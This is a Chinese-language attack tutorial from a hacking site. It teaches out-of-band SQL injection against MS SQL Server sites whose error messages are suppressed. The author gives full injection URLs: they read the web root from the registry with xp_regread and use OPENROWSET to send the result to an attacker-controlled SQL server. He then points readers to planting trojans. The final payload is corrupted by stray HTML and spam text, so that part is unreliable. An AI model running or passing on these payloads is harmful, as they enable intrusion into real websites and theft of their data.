前一階段,在嘗試攻擊一個網站的時候,發現對方的系統已經屏蔽了錯誤信息,用的也是普通的帳號連接的數據庫,系統也是打了全部的補丁這樣要攻擊注入是比較麻煩的。。因此我自己搞了一種“跨站式SQL注入”。。 思路如下,既然你不顯示錯誤信息,我能不能讓你顯示到別的地方呢?讓SQL把錯誤寫入別的地方。。。 既然是研究階段,我們最好不要直接注入網站,而是首先用查詢分析器來分析這個方法。。 第一個想法: SQL可以連接外部的數據庫。。 於是,首先用查詢分析器,登陸到我自己的一個虛擬主機的數據庫(這樣的權限比較小),然後在本地啟動一個SQL server,並且用SA的身份在SQL事件探測器裡邊建立一個跟蹤。 嘗試 sp_addlinkedserver 如果成功,那就和操作本地數據庫一樣了。。 提示必須是sysadmin的身份。。失敗。 換一個思路: 只要你SQL敢發命令過來,我不管執行的結果怎麼樣,只要接獲到命令就可以了。。 於是考慮到一個權限要求不是很高的命令:OPENROWSET 來跨服務器查詢。。這個命令作用是把一個數據庫命令發給遠程的數據庫,取回來結果集。。於是就啟動“事件跟蹤”監視發過來的命令。。 第一次嘗試,首先還是執行 create table [dbo].[laokai]([cha8][char](255))--建立一個表。隨後是把路徑寫入數據庫,這裡我考慮,直接生成一個跨庫的腳本算了。好方便執行。。 DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into laokai (cha8) values('SELECT a.* FROM OPENROWSET(''SQLOLEDB'',''你的IP'';''sa'';''密碼'', ''SELECT * FROM pubs.dbo.authors where au_fname=''''' @result ''''''')AS a');-- 這段代碼什麼意思哪?就是把網站的路徑信息寫入數據庫。。也不是單純的寫,寫得同時構造一個SQL語句,這個語句的執行結果是給laokai這個數據庫的cha8字段增加了這樣的一行記錄。 SELECT a.* FROM OPENROWSET('SQLOLEDB','你的IP';'sa';'密碼', 'SELECT * FROM pubs.dbo.authors where au_fname=''C:\Inetpub,,1''')AS a 其中的C:\Inetpub,,1就是注冊表記錄的根目錄,最後要做的是: DECLARE @a1 char(255) set @a1=(SELECT cha8 FROM laokai) exec (@a1);-- 這樣就等於執行了 SELECT a.* FROM OPENROWSET('SQLOLEDB','你的IP';'sa';'密碼', 'SELECT * FROM pubs.dbo.authors where au_fname=''C:\Inetpub,,1''')AS a 這一條語句。。。同時你會在事件探測器那邊會顯示 SELECT * FROM pubs.dbo.authors where au_fname='C:\Inetpub,,1' 其中的C:\Inetpub 就是網站的路徑。。調試成功。。 現在進入實戰階段。。某網站屏蔽了全部出錯信息。。但是我們可以確定它存在注入點 a.asp?id=1,怎麼做呢? a.asp?id=1;create table [dbo].[laokai]([cha8][char](255))-- 返回正常,我們建立了一個叫laokai的表,有個字段叫cha8,然後: a.asp?id=1;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into laokai (cha8) values('SELECT a.* FROM OPENROWSET(''SQLOLEDB'',''你的IP'';''sa'';''密碼'', ''SELECT * FROM pubs.dbo.authors where au_fname=''''' @result ''''''')AS a');-- 出錯了。。出錯信息被屏蔽了。。怎麼辦?經過研究發現是裡邊的某些字符例如 號需要轉化成16進制。。或許還有別的地方要轉化。。怎麼辦啊? 於是寫了一個ASCII轉化16進制的工具,把全部的代碼轉化一下,5自學網,然後注入就OK了。。(工具的下載地址 麻煩放入光盤,不要讓他們下,我的服務器受不了),最後自然是執行上述語句了。。 a.asp?id=1;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into laokai (cha8) values('SELECT a.* FROM OPENROWSET(''SQLOLEDB'',''??IP'';''sa'';''??'', ''SELECT * FROM pubs.dbo.authors where au_fname=/33.shtml' target='_blank'>3D''''' + @result + ''''''')AS a');-- 執行成功。。。 a.asp?id=1;DECLARE @a1 char(255) set @a1=(SELECT cha8 FROM laokai) exec (@a1);-- 網站那邊顯示還是正常頁面。。但是你這邊的事件探測器那邊會顯示:
注入成功。。後邊知道了絕對路徑,自學教程,如何添加木馬的文章就很多了。。這裡就不再描述了。。 最後說明一下:這只是一個新型的攻擊思路的講解,讓大家通過另外一種方式把數據庫裡邊的數據取出來。。 ''SELECT * FROM pubs.dbo.authors where au_fname=''''' @result ''''''' 部分,修改成insert把數據加入數據庫也應該沒有問題。。甚至單獨保留 @result 都沒問題。。不過這樣那邊會出錯。這邊就留下一個exec 'C:\Inetpub,,1'